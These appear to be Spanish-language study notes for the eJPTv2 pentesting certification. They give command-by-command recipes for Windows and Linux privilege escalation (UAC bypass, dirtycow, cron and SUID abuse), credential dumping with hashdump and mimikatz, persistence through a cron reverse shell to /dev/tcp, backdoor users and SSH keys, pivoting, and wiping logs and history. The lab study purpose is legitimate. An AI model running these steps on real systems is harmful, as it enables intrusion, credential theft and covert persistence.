Tiene repos de Windows 7-10. Permite a los atacantes ejecutar payloads en un Windows target con admin privs con la herramienta Windows AutoElevate
SITUACION: tenemos un Meterpreter, con getsystem no conseguimos escalar privs y vemos que nuestro usuario pertenece al localgroup administrators. Queremos mas privilegios
| search bypassuac |
Nosostros usaremos bypassuac_injection |
| use |
|
| show options |
|
| set payload windows/x64/meterpreter/reverse_tcp |
|
| set session N |
|
| set lport N |
Otro no usado |
| run |
|
|
|
|
|
| Si nos da un error porque dice que el target es un x86 hacemos lo siguiente |
|
| set target Windows\x64 |
|
| run |
Ahora se deberia completar bien |
Desde Meterpreter
| Comandos |
Explicacion |
| getuid |
|
| shell |
|
| net localgroup adminsitrators |
Vemos nuestro usuario |
En otra terminal
| msfvenom -p /windows/meterpreter/reverse_tcp LHOST=<IP_LOCAL> LPORT=<PUERTO_LOCAL> -f exe > reverse.exe |
|
| msfconsole -q |
|
| use multi/handler |
|
| set lhost <IP_LOCAL> |
|
| set lport <PUERTO_LOCAL> |
|
| run |
|
De vuelta a la session abierta
| upload /reverse.exe |
|
| upload /Akagi64.exe |
|
| /Akagi64.exe 23 C:\reverse.exe |
|
En el listener multi/handler
[[4. Enumeracion MSF]]
| sysinfo |
Hemos obtenido una Meterpreter |
| getuid |
|
| ps -S lsass |
|
| migrate PID |
|
| hashdump |
|
eJPTv2
6. Post Explotacion / 2. Escalada De Privilegios / 1. Windows / 3. Access Token Impersonate
1. Access Token Impersonate
Incognito
Modulo de MSF que antes era una app para impersonar tokens tras explotacion
Podemos usarlo para ver una lista de tokens que podemos impersonar
SITUACION: tenemos una shell en el sistema objetivo y tras hacer whoami /priv o getprivs (Meterpreter) tenemos SeImpersonatePrivilege
Desde Meterpreter
| Comandos |
Explicacion |
| getprivs |
Vemos que tenemos SeImpersonatePrivilege |
| load incognito |
|
| list_tokens -u |
Lista los usuarios a los que podemos impersonar tokens |
| impersonate_token “USER” |
|
| getuid |
|
| getprivs |
|
| list_tokens -u |
Puede ser que veamos un usuario con privs mayores que antes no veiamos |
Puede haber la situacion en la que no haya access tokens disponibles con privilegios. En ese caso para usar potato attack que crea un NT AUTHORITY\SYSTEM Token para conseguir sus privs
EJEMPLO INCOGNITO
![[Pasted image 20260317203205.png]]
eJPTv2
6. Post Explotacion / 2. Escalada De Privilegios / 1. Windows / 4. Automatizacion Identificar Escalada
1. Privscheck
PrivescChechk: es un script de enumeracion que se puede aprovechar para la escalada de privilegios. Recopila varia info que puede ser util para la explotacion y post explotacion
https://github.com/itm4n/PrivsCheck
Comandos
PrivsCheck ya esta descargado en el objetivo
powershell -ep bypass -c “. .\PrivescCheck.ps1; Invoke-PrivescCheck”
|
Viene en la URL de github en Usage
Realiza todas las comprobaciones y al final envia un resumen, si encuentra resultados se ve asi:
-> N result(s)
Encuentra: - Users - Groups - Servicios - Creds… Viene la vulnerabilidad con una descripcion y resultados si los hay |
eJPTv2
6. Post Explotacion / 2. Escalada De Privilegios / 2. Linux / 1. Kernel Exploits
1. Kernel Exploits
Herramientas
Linux-Exploit-Suggester: esta herramienta esta dise;ada para ayudar a detectar deficiencias del Linux Kernel
Esta en https://github.com/mzet-/linux-exploit-suggester
LAS TECNICAS DE ESTA PARTE SE HACEN SOBRE UN UBUNTU 12.04
Comandos
Empezamos directamente con una sesion meterpreter del target para directamente empezar con la escalada de privs
| En nuestro sistema: wget URL/Linux-Exploit-Suggester |
https://github.com/mzet-/linux-exploit-suggester |
|
|
| Comandos |
Explicacion |
| cd /tmp |
|
| upload /ruta/…les.sh |
|
| shell |
|
| /bin/bash -i |
|
| chmod +i les.sh |
|
| ./less.sh |
Lista las vulnerabilidades en formato CVE. Nos da: - Details - Exposicion - Tags: nos dice a que distribuciones y versiones afecta. Nos saldra en amarillo entre [] si nuestra version es vuln - URL para descargarlo - Comentarios Usaremos dirtycow2 |
|
|
| Abrimos la URL de la vuln CVE en el navegador para entender que es lo que hace ese exploit |
Dentro nos saldra el codigo que debemos copiar y pegar en un archivo .c Nos dice como compilarlo y como ejecutarlo |
| Le damos a download |
|
| sudo apt-get install gcc |
En nuestra kali |
| mv archivo.c dirty.c |
|
| gcc -pthread archivo.c -o dirty -lcrypt |
Lo compilamos en local |
|
|
| Volemos al meterpreter: upload dirty |
|
| shell |
|
| /bin/bash -i |
|
| chmod +x dirty |
|
| ./dirty nueva_password |
Con esto se crea un usuario llamado: - firefart con las contrasena que le pusimos y con privs root |
| cat /etc/passwd |
Vemos que estas firefart |
| Desde otra terminal: ssh firefart@IP |
Obtendremos una shell con privs |
| sudo apt-update |
|
| cat /etc/shadow |
Solo permitido para usuarios root |
eJPTv2
6. Post Explotacion / 2. Escalada De Privilegios / 2. Linux / 2. Cronjobs Mal Configurados
1. Chrootkit Como Root Cada Minuto
| cat /etc/passwd |
Tenemos dos usuarios: root y jackie (tienen un /bin/bash) |
| ps aux |
Vemos un bin ejecutado por el admin |
| cat /bin/check-down |
Se ejecuta cada minuto chkrootkit |
| chkrootkit –help |
|
| chkrootkit -V |
Nos da una version vulnerable (anteriores a 0.50) |
| bg |
|
| search chkrootkit |
|
| use |
|
| show options |
|
| set chkrootkit /bin/chkrootkit |
|
| set session N |
|
| set lhost eth1 |
|
| run |
|
eJPTv2
6. Post Explotacion / 2. Escalada De Privilegios / 2. Linux / 2. Cronjobs Mal Configurados
2. Cronjobs Mal Configurados
ls -la /etc/cron*
cat /etc/cron*
Ver todos los cronjobs y sus permisos
| crontab -l |
Lista los crontabs del usuario |
| ls -la |
Veremos que aunque estamos en la carpeta del usuario student hay un archivo creado por root. Esto puede deberse a un cronjon |
| cat archivo |
No tendremos privs ya que lo creo el root |
| cd / |
|
| grep -rnw /usr -e “/home/student/message” |
Hace una búsqueda recursiva dentro del directorio /usr buscando la cadena exacta
Encontramos un copy.sh en /usr/local/share y vemos que su interior pone: cp /home/student/message /tmp/message |
| ls -la tmp |
|
| cat /tmp/message |
|
| ls -la /usr/local/share/copy.sh |
Veremos que esta creado por el usuario root, pero si miramos los privilegios veremos que todos los usuarios pueden leerlo, escribirlo y ejecutarlo: -rwxrwxrwx |
| cat /usr/share/copy.sh |
Veremos el contenido que ejecuta comandos de bash |
| printf ‘#!/bin/bash\necho “student ALL=NOPASSWD: ALL” >> /etc/sudoers’ > /usr/local/share/copy.sh |
Usamos printf porque no hay vim, nano… |
| cat /usr/local/share/copy.sh |
Nos saldra lo que hemos puesto |
| Esperamos unos minutos |
|
| sudo -l |
Nos saldra que podemos ejecutar los siguientes comandos:
NOPASSWD: ALL |
| sudo su |
|
| whoami |
|
eJPTv2
6. Post Explotacion / 2. Escalada De Privilegios / 2. Linux / 3. Suid Binarios
1. Binarios Suid
En adicion a los 3 tipos de permisos de acceso (read, write y execute) Linux tiene un permiso especial que puede ser usado en algunas ocasiones. Uno de estos permisos especiales es el SUID
Cuando este permiso es dado, le da la habilidad al usuario de ejecutar el script o binario con permisos del creador del archivo
Comandos
| Comandos |
Explicacion |
| whoami |
|
| groups student |
|
| ls -la |
Vemos que el archivo welcome esta creado por el usuario root y vemos que tenemos permisos de ejecucion: -rwsr-xr-x
- La ultima x significa que cualquier user puede ejecutarlo - Tambien vemos que tenemos permisos SUID (primera s) lo que significa que cuando ejecutemos ese archivo se hara con privilegios de su owner (root) |
| ./welcome |
Si intentasemos ejecutar el otro archivo (welcome) nos daria denegado |
| file welcome |
Para saber mas informacion del archivo (Podria tener missing share objects pero en este caso no los tiene) |
| strings welcome |
Sirve para extraer y mostrar las cadenas de texto legibles que hay dentro de un archivo binario. Dentro vemos una cadena que pone greetings, se podria suponer que welcome esta llamando a greatings. Podriamos cambiarlo como para que ejecute una terminal y cuando ejecutemos welcome abra una terminal con privs |
| rm greatings |
|
| cp /bin/bash greetings |
|
| ./welcome |
Obtenemos una terminal con los privs del usuario propietario de welcome |
eJPTv2
6. Post Explotacion / 2. Escalada De Privilegios / 2. Linux / 4. Permisos Debiles
1. Permisos Debiles En Archivos
| find / -not -type l -perm -o+w |
Lista los archivos desde la raiz a los que podemos escribir todos los usuarios del sistema
/etc/shadow puede ser modificado por todos los usuarios. Muy mala practica |
| cat /etc/shadow |
|
| ls -la /etc/shadow |
Podemos leer y escribir |
| openssl passwd -1 -salt abc password |
Crear un hash con salt formato para /etc/shadow |
| nano /etc/shadow |
Pegamos el hash en el lugar de * |
| su |
Nos pide el password |
eJPTv2
6. Post Explotacion / 2. Escalada De Privilegios / 2. Linux / 5. Sudo Privs
1. Sudo Privs
| Comandos |
Explicacion |
| cat /etc/passwd |
Objetivo root |
| sudo -l |
Ver nuestros privs
Vemos que tenemos como NOPASSWD el /usr/bin/man para ejecutarlo como root |
| man ls |
|
| sudo man ls |
Podemos usarlo como root sin poner password |
| Dentro del man podemos: !/bin/bash |
Como se ejecuta como root nos da una shell root |
| cat /root/flag |
|
Se puede buscar en google como escalar privs en ese binario sin password
eJPTv2
6. Post Explotacion / 2. Escalada De Privilegios / 2. Linux / 6. Autoamatizacion Identificar Escalada
1. Linenum
LinEnum: es un bash script simple que automatiza la enumeracion local y verificar vulns de priv escalation
https://github.com/rebootuser/LinEnum
LinEnum: (https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh)
| copiar y pegar en un archivo llamado (LinEnum.sh) |
|
| sessions N |
|
| cd /tmp |
|
| upload /ruta/LinEnum.sh |
|
| shell |
|
| /bin.bash -i |
|
| id |
Somos un usuario sin privs |
| whoami |
|
| cat /etc/passwd |
No tenemos ni shell configurada |
| chmod +x Linenum.sh |
|
| sed -i ‘s/\r$//’ LinEnum.sh |
SI DA ERRORES AL EJECUTAR LinEnum.sh |
| ./LinEnum.sh |
Encuentra info de: - Kernel info - Release info (SO, version…) - Hostname - Users/groups - Logged on - /etc/passwd - Variables para el usuario - Paths - Shells - Pass info - Cron jobs - Network info - Servicios - Binarios sobre los que tenemos permisos - Compiladores - SUID binaries - Conf files
Y mas |
Ejemplo
LinEnum, vamos desde nuestro bworser personal fuera del VM: le damos a Raw
![[Pasted image 20260308160525.png]]
Copiamos todo
![[Pasted image 20260308160536.png]]
De vuelta a la VM
![[Pasted image 20260308160545.png]]![[Pasted image 20260308160547.png]]
Ctl+Shift+Alt (ya lo he pegado en el archivo pero ahí debe aparecer lo que tenemos en el portapapeles de fuera del VM)
![[Pasted image 20260308160556.png]]
Copiamos y pegamos en el archivo
![[Pasted image 20260308160606.png]]
Ahí ya lo transferiríamos a meterpreter y lo ejecutaríamos
![[Pasted image 20260308160614.png]]![[Pasted image 20260308160617.png]]![[Pasted image 20260308160620.png]]![[Pasted image 20260308160623.png]]![[Pasted image 20260308160626.png]]
eJPTv2
6. Post Explotacion / 3. Credential Dumping / 1. Windows
1. Lsass Y Hashdump
Tras escalar privs si en un Meterpreter podemos migrar a lsass la shell como AUTHORITY\SYSTEM podemos usar el hashdump
| sysinfo |
Hemos obtenido una Meterpreter |
| getuid |
Somos AUTHORITY\SYSTEM |
| ps -S lsass |
|
| migrate PID |
|
| hashdump |
Obtenemos los hashes |
eJPTv2
6. Post Explotacion / 3. Credential Dumping / 1. Windows
2. Buscando Passwords En Config Files
Windows puede automatizar repetitive tasks. Esto lo realiza Unattended Windows Setup que es usado para automatizar en masa la instalacion y deployment de un Windows System
- C:\Windows\Panther\Unattend.xml
- C:\Windows\Panther\Autounattend.xml
Meterpreter –> search -f Unnatend.xml
Ejemplo
![[Pasted image 20260317230051.png]]![[Pasted image 20260317230118.png]]![[Pasted image 20260317230145.png]]
eJPTv2
6. Post Explotacion / 3. Credential Dumping / 1. Windows
3. Mimikatz Kiwi
Mimikatz es una herramienta de postexplotacion que permite la extraccion de passwords en texto claro, hashes y tickets kerberos de la memoria
El SAM es una archivo de base de datos que guarda hashes de password
Mimikatz requiere de privs
Mimikatz
| Comando |
Explicacion |
| upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe |
|
| shell |
|
| .\mimikatz.exe |
|
| privilege::debug |
Ver si tenemos permisos suficientes para ejecutar mimikatz |
| lsadump::sam |
|
| lsadump::secrets |
|
| sekurlsa::logonpasswords |
Si Windows tiene la configuracion de guardar en texto claro las pass de los logs |
Kiwi
| Comando |
Explicacion |
| upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe |
|
| load kiwi |
|
| lsa_dump_sam |
|
eJPTv2
6. Post Explotacion / 3. Credential Dumping / 1. Windows
4. Pth
eJPTv2
6. Post Explotacion / 3. Credential Dumping / 2. Linux
1. Hashdump Linux
Modulos utiles
linux/gather/hashdump
analyze/check_linux
Comandos
| bg |
|
|
|
| search type:post platform:linux hashdump |
|
| use |
|
| show options |
|
| set session N |
|
| run |
|
| loot |
Tendremos el shadow, el passwd y las passwords unshadowed (sin formato para john) |
Mas modulos MSF
- post/multi/gather/ssh_creds
- post/multi/gather/docker_creds
- post/linux/gather/hashdump
- post/linux/gather/ecryptfs_creds
- post/linux/gather/enum_psk
- post/linux/gather/enum_xchat
- post/linux/gather/phpmyadmin_credsteal
- post/linux/gather/pptpd_chap_secrets
- post/linux/manage/sshkey_persistence
Ejemplo
![[Pasted image 20260318162037.png]]![[Pasted image 20260318162047.png]]
eJPTv2
6. Post Explotacion / 3. Credential Dumping / 3. Crackeando Hashes
1. John
eJPTv2
6. Post Explotacion / 3. Credential Dumping / 3. Crackeando Hashes
2. Hashcat
eJPTv2
6. Post Explotacion / 3. Credential Dumping / 3. Crackeando Hashes
3. Crack Linux Modulo MSF
| search hashdump |
Queremos el post/linux/gather/hashdump |
| use post |
|
| show options |
|
| set session 2 |
|
| run |
Nos saca los hashes y nos guarda un unshadowed password file (nos lo guarda en un formato que puede ser crackeado) |
| use auxiliaary/analyze/crack_linux |
Nos crackea el hash |
| set SHA512 true |
|
| run |
|
eJPTv2
6. Post Explotacion / 4. Persistencia / 1. Windows
1. Modulo MSF Persistence Service
Modulo
persistence_service
Ejemplo
| search type:post platform:windows persistence |
Cada una usa una tecnica Usaremos persistence_service |
| use |
Este crea un servicio para la persistencia y cuando tengamos un listener o multi/handler seremos capaces de obtener una sesion meterpreter |
| set payload windows/x64/meterpreter/reverse_tcp |
SI NO FUNCIONA EL X64 PONEMOS EL PARA 32BITS |
Estos no los pondremos pero –> set service_name set remote_exe_name set remote_exe_path |
Queremos que el servicio parezca lo mas legitimo posible
|
| set session N |
|
| run |
|
| getuid |
|
| exit |
|
| sessions |
|
| sessions -K N |
Queremos terminar todas las sessiones para ver si hemos establecido persistencia |
| use multi/handler |
|
| set paylaod windows/meterpreter/reverse_tcp |
|
| set lhost eth1 |
|
| set lport N |
Debe ser el mismo que el que especificamos para crear el servicio |
| run |
Nos conectaremos porque el servicio correra incluso tras reinicios |
| exit |
|
| run |
Probamos otra vez y la seguimos obteniendo |
eJPTv2
6. Post Explotacion / 4. Persistencia / 1. Windows
2. Habilitar El RDP Modulo MSF
Modulo
search enable_rdp
Comandos
| search enable_rdp |
|
| use |
|
| show options |
|
| set session N |
|
| run |
|
| db_nmap -p3389 IP |
Ahora esta abierto |
Ejemplo
![[Pasted image 20260318160325.png]]![[Pasted image 20260318160339.png]]
eJPTv2
6. Post Explotacion / 4. Persistencia / 2. Linux
1. Comandos Linux Interesantes Para Persistencia
| passwd root |
Le cambiamos la contraseña |
| password123 |
Se la establecemos |
| usradd -m NOMBRE -s /bin/bash |
Creamos un usuario |
| passwd NOMBRE |
|
| password321 |
|
Metodos
Solo funciona si existe un protocolo como ssh en el que nos podamos conectar siempre que podamos
MANUAL
| shell |
|
| cat /etc/passwd |
Vemos los usuarios Nuestro nuevo usuario no debe parecer clandestino |
| useradd -m NOMBRE -s /bin/bash |
-m: le crea un directorio propio al usuario -m /ruta: especificar donde se creara (si no se especifica se creara en /home) El nombre puede ser algo como ftp, si existiese un servicio ftp -s: indica el tipo de shell que tenfra |
| passwd NOMBRE |
Para ponerles una password |
|
|
| Ahora vamos a darle permisos root |
|
| usermod aG root NOMBRE |
|
| groups NOMBRE |
Vemos que pertenece al grupo de root |
|
|
| Si miramos /etc/passwd y miramos :N:N: se ve que este usuario fue creado recientemente. Vamos a hacer que parezca que no es tan reciente |
|
| usermod -u N(como 15 por ejemplo) NOMBRE |
|
| cat /etc/passwd |
Veremos que ahora pone :15:N: |
| exit |
|
| bg |
|
AUTOMATICO
NO TODOS FUNCIONARAN, IR PROBANDO
Si hay SSH probar directamente –> sshkey_persistence
| Comandos |
Explicacion |
| search platform:linux persistence |
Hay de APT Package, cron, bash, rc.local. autostart desktop… |
|
|
| Primero apt_package_manager_persistence |
|
| use |
|
| info |
Este modulo corre un payload cuando el paquete manager es usado. No se configura el multi/handler automaticamente por que hay que configurarlo manualmente Crea una pre-invocacion del APT en apt.conf.d
Este modulo debido a lo de multi/handler no nos da acceso siempre por lo que este no lo usaremos |
|
|
| Segundo cron_persistence |
|
| search platform:linux persistence |
|
| use |
|
| info |
Permite crear una tarea programada que nos de acceso al sistema de forma persistente Se ejecuta cada min mas o menos |
| set session N |
|
| set lport N |
Uno que no se este usando |
| set lhost eth1 |
|
| run |
Parece no funcionar usamos otro |
|
|
| Tercero service_persistence |
|
| search platform:linux persistence |
|
| use |
Trata de crear un servicio en una caja y lo marca como autorun. Necesitamos suficiente acceso como para escribir los archivos y potencialmente reiniciar los servicios |
| set session N |
|
| set payload cmd/unix/reverse_python |
|
| set lhost eth1 |
|
| set lport N |
Uno no usado |
| run |
No funciona |
| show targets |
|
| set target System V |
|
| run |
No funciona |
|
|
| Cuarto sshkey_persistence (lo usamos cuando nuestros intentos fallan y para ser sigilosos) |
|
| search platform:linux persistence |
|
| use |
Crea un pub y private key shh y lo añade a todos los directorios de usuario y nos provee el private key para autenticarnos en cualquier usuario sin usar la contraseña No deja mucho rastro salvo los logs in |
| show options |
|
| set createsshfolder true |
Por si no tiene un archivo ssh |
| set session N |
|
| run |
Crea un directorio a todos los usuarios |
| loot |
Vemos el private key |
| cat /privatekey |
|
| Lo copiamos |
|
|
|
| exit -y |
|
| nano ssh_key |
Lo pegamos |
| chmod 400 ssh_key |
|
| ssh -i ssh_key USER@IP |
|
eJPTv2
6. Post Explotacion / 4. Persistencia / 2. Linux
2. Persistencia Via SSH Keys
| Comandos |
Explicacion |
| ssh student@IP |
Pass: password |
| ls -la |
Vemos el .ssh |
| cd .ssh |
id_rsa es la private key |
| cat id_rsa |
|
| exit |
|
| scp student@IP:~/.ssh/id_rsa . |
Copiamos el id_rsa en nuestra maquina con scp |
| ls |
|
| chmod 400 id_rsa |
|
| ssh student@IP -i id_rsa |
|
eJPTv2
6. Post Explotacion / 4. Persistencia / 2. Linux
3. Persistencia Via Cronjobs
![[Pasted image 20260318185353.png]]
Comandos
| Comandos |
Explicacion |
| ssh student@IP |
Pass: password |
| cat /etc/cron* |
Vemos los cronjobs |
| echo “* * * * * /bin/bash -c ‘bash -i >& /dev/tcp/IP_LOCAL/PUERTO 0>&1’” > cron |
Se ejecutara el cronjob cada minuto, de cada hora, de cada dia, de cada mes, de cada año |
| cat cron |
|
| crontab -i cron |
Añadir cronjob |
| crontab -l |
|
| exit |
|
| nc -nvlp PUERTO |
Obtenemos el shell |
eJPTv2
6. Post Explotacion / 5. Pivoting
1. Pivoting
Comandos
| run |
|
sysinfo getuid |
|
| ipconfig |
Veremos las interfaces. Usaremos la Interfaz 12 que es la que se conecta con al red interna |
| run autoroute -s IP_red/mascara |
|
| bg |
|
| sessions -n NOMBRE -i 1 |
|
| search portscan/tcp |
|
| use |
|
| set rhost IP2 |
|
| set PORTS 1-100 |
|
| run |
Vemos que tiene un puerto 80 |
| sessions 1 |
|
| portfwd add -l 1234 -p 80 -r IP2 |
|
| bg |
|
| db_nmap -sS -sV -p 1234 localhost |
Veremos por el puerto 1234 la version (en realidad es el puerto 80 de IP2) |
| Si abrimos un browser y ponemos 127.0.0.1:1234 veremos el codigo de la pagina web de IP2 |
|
| search badblue_passthru |
|
| use |
|
| set payload windows/meterpreter/bind_tcp |
Bind porque con reverse no nos llegaria al no tener acceso directo. Tiramos el bind a traves de la maquina comprometida |
| set rhosts IP2 |
|
| set lport N |
Un puerto que no haya sido usado |
| run |
Obtenemos un meterpreter en IP2 |
sysinfo getuid |
|
| bg |
|
| sessions -n NOMBRE -i 2 |
|
Ejemplo
![[Pasted image 20260318160905.png]]![[Pasted image 20260318160938.png]]
eJPTv2
6. Post Explotacion / 5. Pivoting
2. Proxychains
| run autoroute -s IP_red_interna/mascara |
Esto nos permitira enviar comandos a esta red desde fuera |
| bg |
Ponemos la sesion en background |
|
|
Volvemos a nuestra propia maquina y miramos: cat /etc/proxychains4.conf para ver si existe
Nos quedamos con la linea socks4 127.0.0.1 N. N es el puerto que le tendremos que espcificar al modulo |
Como existe necesitaremos usar el modulo de socks |
|
|
| Volvemos a MSF |
|
| search socks |
|
| use auxiliary/server/socks_proxy |
|
| set version 4a |
|
| set srvport 9050(N) |
|
| run |
Se correra en segndo plano |
|
|
| Ahora si vamos a nuestra maquina normal podremos lanzar comandos a la IP interna con poner proxychains delante |
|
| proxychains nmap -Pn -sS -sV -p 445 demo1.local.ine |
Vemos que llega ahora y vemos que es un sistema Windows |
eJPTv2
6. Post Explotacion / 6. Limpiado
1. Limpiando Windows
El SO Windows guarda y cataloga todas las acciones y eventos relacizados en el sistema y los guarda en Windows Event Log
Descarga de archivos
Descargar todo en C:/Temp o crearlo sino existe
cd C:\Temp
o
mkdir C:\Temp cd C:\Temp |
Nos movemos al directorio Temp o lo creamos y nos movemos a este |
| upload /usr/share/windows-binaries/nc.exe |
|
| rm nc.exe |
Al acabar elimianrlo |
Limpiar Event Logs desde Meterpreter
| clearev |
Borra los Event Log |
eJPTv2
6. Post Explotacion / 6. Limpiado
2. Limpiando Linux
Descargas de archivos
Descargar todo en /tmp o crearlo sino existe
cd /tmp
o
mkdir /tmp |
Cuando se reinicie la maquina todos los archivos se borraran |
Borrar historial de comandos
| history |
Muestra los comandos ejecutados |
| history -c |
Limpia el history |
| cat /dev/null > ~/.bash_history |
Limpiar el archivo .bash_history si existe |
eJPTv2
6. Post Explotacion
Indice Postexplotacion
-
Enumeracion del sistema y mejora del shell
-
Mejorar shell
- [[1. Mejorando Shell a Meterpreter desde MSF]]
-
Enumeracion MSF y Meterpreter
- [[1. Enumeracion MSF - meterpreter]]
- [[2. Modulos MSF Enumeracion PostExplotacion Windows]]
- [[3 Modulos MSF Enumeracion PostExplotacion Linux]]
-
Enumeracion manual
-
Windows
- [[6. Post-Explotacion/1. Enumeracion del sistema y mejora del shell/3. Enumeracion Manual/1. Windows/1. Enumeracion de informacion del sistema|1. Enumeracion de informacion del sistema]]
- [[2. Enumeracion de Users y Grupos]]
- [[3. Enumeracion local]]
- [[4. Enumeracion Procesos y Servicios]]
- [[5. Automatica]]
-
Linux
- [[6. Post-Explotacion/1. Enumeracion del sistema y mejora del shell/3. Enumeracion Manual/2. Linux/1. Enumeracion de informacion del sistema|1. Enumeracion de informacion del sistema]]
- [[2. Enumeracion de usuarios y grupos]]
- [[3. Enumeracion de red]]
- [[4. Enumeracion Procesos y cronjobs]]
- [[5. Automatico]]
-
Escalada de Privilegios
-
Windows
- Kernel Exploits
- [[1. Windows-Exploit-Suggester]]
- Bypassing UAC
- [[1. Bypassing UAC]]
- Access Token Impersoante
- [[1. Access Token Impersonate]]
- Automatizacion identificar escalada
- [[1. PrivsCheck]]
-
Linux
- Kernel Exploits
- [[1. Kernel Exploits]]
- Cronjobs mal configurados
- [[1. Chrootkit como root cada minuto]]
- [[2. Cronjobs mal configurados]]
- SUID binarios
- [[1. Binarios SUID]]
- Permisos debiles
- [[1. Permisos debiles en archivos]]
- Sudo Privs
- [[1. Sudo Privs]]
- Autoamatizacion identificar escalada
- [[1. LinEnum]]
-
Credential Dumping
-
Windows
- [[1. Lsass y Hashdump]]
- [[2. Buscando Passwords en Config Files]]
- [[3. Mimikatz - Kiwi]]
- [[4. PTH]]
-
Linux
- [[1. Hashdump Linux]]
-
Crackeando hashes
- [[1. John]]
- [[2. Hashcat]]
- [[3. Crack_Linux Modulo MSF]]
-
Persistencia
-
Windows
- [[1. Modulo MSF - Persistence_Service]]
- [[2. Habilitar el RDP - Modulo MSF]]
-
Linux
- [[1. Comandos Linux Interesantes para persistencia]]
- [[2. Persistencia via SSH Keys]]
- [[3. Persistencia via cronjobs]]
-
Pivoting
- [[1. Pivoting]]
- [[2. Proxychains]]
-
Limpiando
- [[1. Limpiando Windows]]
- [[2. Limpiando Linux]]
eJPTv2
7. Webapp Server / 1. Webserver Vs Webapp
1. Webserver Vs Webapp
-
Webserver: sw que sirve el contenido web al cliente
- Recibe peticiones HTTP y devuelve contenido HTML, CSS, JS…
- Ejemplos: Apache HTTP Server, Nginx, IIS…
-
Webapp: logica:
- Logica y funcionalidad web
- Como se procesan los datos, interaccion BBDD, login…
Arquitectura webapp
![[Pasted image 20260318190824.png]]![[Pasted image 20260318190841.png]]
eJPTv2
7. Webapp Server / 2. HTTP
1. Solicitudes HTTP
Ejemplo de Solicitud HTTP
![[Pasted image 20260311151046.png]]
Metodos explicados
![[Pasted image 20260311151355.png]]
URL/PATH
Es la direccion donde el recurso/URI del cliente quiere acceder
El home page de una website es siempre /. Otras paginas del website se pueden acceder de asi: /downloads/index.html, por ejemplo
![[Pasted image 20260311151838.png]]
Los headers tiene el formato NOMBRE:VALOR
El host header permite al webserver hostear multiples websites en una unica IP. Nuestro browser indica en el host header que website esta interasado en entrear
![[Pasted image 20260311152023.png]]
Host value + PATH = URL –> En este caso –> www.google.com/
Se usa para especificar y enviar el navegador, version, SO y lenguaje al servidor remoto. Todos los navegadores tienen su propio user-agent
![[Pasted image 20260311152325.png]]
Usado por el navegador para especificar que tipo de documentos/archivos aceptamos de vuelta
![[Pasted image 20260311152429.png]]
Similar a Accept, usado para restringir el contenido encodeado que es aceptable como respuesta. Permite uso de documentos comprimidos o transformados sin perder el formato original y sin perdida de informacion
![[Pasted image 20260311152623.png]]
En HTTP 1.1 puedes mantener/reusar la conexion de un webserver remoto por un tiempo ilimitado usando keep-alive
Esto indica que todas las solicitudes al webserver continuaran enviandose a lo largo de la conexion sin iniciar una nueva conexion cada vez
![[Pasted image 20260311152906.png]]
eJPTv2
7. Webapp Server / 2. HTTP
2. Respuestas HTTP
- Response Headers
- Response Body (Opcional):
Codigos de estado
![[Pasted image 20260311154132.png]]
Ejemplo de Respuesta a una Solicitud HTTP
![[Pasted image 20260311153952.png]]
Status Line
Primera linea de una respuesta del protocolo HTTP 1.1 seguido del status code (200) y su resultado textual (OK)
![[Pasted image 20260311154108.png]]
Usado para indicar el dia y tiempo en el que se realizo la respuesta por el servidor
Ayuda al cliente e intermediarios a entender la velocidad de la respuesta y la sincronizacion
![[Pasted image 20260311154402.png]]
Permite al navegador y al servidor llegar a un acuerdo sobre el cache de reglas. Permite al servidor introducir clientes en el tiempo que puedan responder que se especifique y bajo las condiciones que se decidieron en el servidor
Esto ayuda a optimizar el rendimiento y eficacia de webapps reduciendo solicitudes innecesarias
![[Pasted image 20260311154638.png]]
Directivas Cache:
![[Pasted image 20260311154701.png]]
Respuesta HTTP usada para indicar el tipo de medio del contenido de respuesta
Le dice al cliente que tipo de datos de servidor son enviados para que el cliente pueda manejarlo correctamente
![[Pasted image 20260311154918.png]]
Muestra el WebServer Banner. Google usa uno customizado (Google Web Server)
![[Pasted image 20260311155010.png]]
eJPTv2
7. Webapp Server / 2. HTTP
3. HTTP Basic Lab
Comandos
| curl -v http://IP/ |
Con esto hacemos una solicitud basica al sitio web, es decir, un GET / y nos imprime por pantalla la respuesta del webserver |
![[Pasted image 20260311180333.png]]
Vemos nuestra solicitud con los headers y la respuesta con los headers del webserver. Debajo de esto arece el body que en este caso es el HTML de la pagina web
![[Pasted image 20260311180612.png]]
| curl -I http://IP/ |
Con el -I estamos enviando en vez de un GET /, enviamos un HEAD / |
![[Pasted image 20260311180753.png]]
Vemos que nos devuelve solo los headers de la respuesta
Si usamos -v veremos nuestra solicitud y la respuesta
![[Pasted image 20260311180907.png]]
| curl -v -X METHOD http://IP/ |
En la parte de METHOD podemos especificar cualquier metodo que queramos usar |
Por ejemplo usamos el METHOD –> OPTIONS para ver los metodos que podemos usar
![[Pasted image 20260311181117.png]]
Vamos a usar por ejemplo PUT que no esta soportado en este path
![[Pasted image 20260311181315.png]]![[Pasted image 20260311181326.png]]
En la respuesta estamos viendo 405 metodo no permitido. Tambien se muestra en el body
Burp Suite
![[Pasted image 20260311181443.png]]
![[Pasted image 20260311181537.png]]
Recargamos la pagina web en el navegador para que se realice una solicitud y burp suite la interceptara antes de que llegue al webserver
Repater de Burp
Esto es una herramienta que nos permite modificar y enviar rapidamente una solicitud sin tener que estar recargando todo el rato la pagina para hacer una solicitud nueva. Es como una copia de la solicitud capturada que se puede modificar y enviar infinitamente y cambiando los campos que queramos
Vamos a ver un ejemplo del formulario login. Vamos a http://IP/login.php o navegamos con el burp suite encendido a Login.
![[Pasted image 20260311183414.png]]
Burp Suite intercepta la solicitud y la pagina se quedara esperando sin entrar, la enviamos sin modificar nada ya que lo que queremos es probar el formulario:
![[Pasted image 20260311183511.png]]
![[Pasted image 20260311183625.png]]
Una vez aqui lo que queremos en enviar un usuario y pass de testeo para ver como se tramita la solicitud y respuesta (burp encendido):
![[Pasted image 20260311183720.png]]![[Pasted image 20260311183733.png]]
Burp intercepto la solicitud del POST del login
Que vemos nuevo:
- Metodo POST
- Campo Referer: de donde se origino la solicitud antes de enviarse
- Content Type
- Las creds pasadas en la solicitud separados por parametro:valor¶metro:valor
Lo enviamos al repeater:
![[Pasted image 20260311184211.png]]
Si lo enviamos tal cual vemos que en la respuesta no hay ningun mensaje de error pero no nos has dado acceso (Puede ser que por seguridad simplemente salga info de los errores):
![[Pasted image 20260311215303.png]]
Vamos a hacer tambien un brute force de directorios:
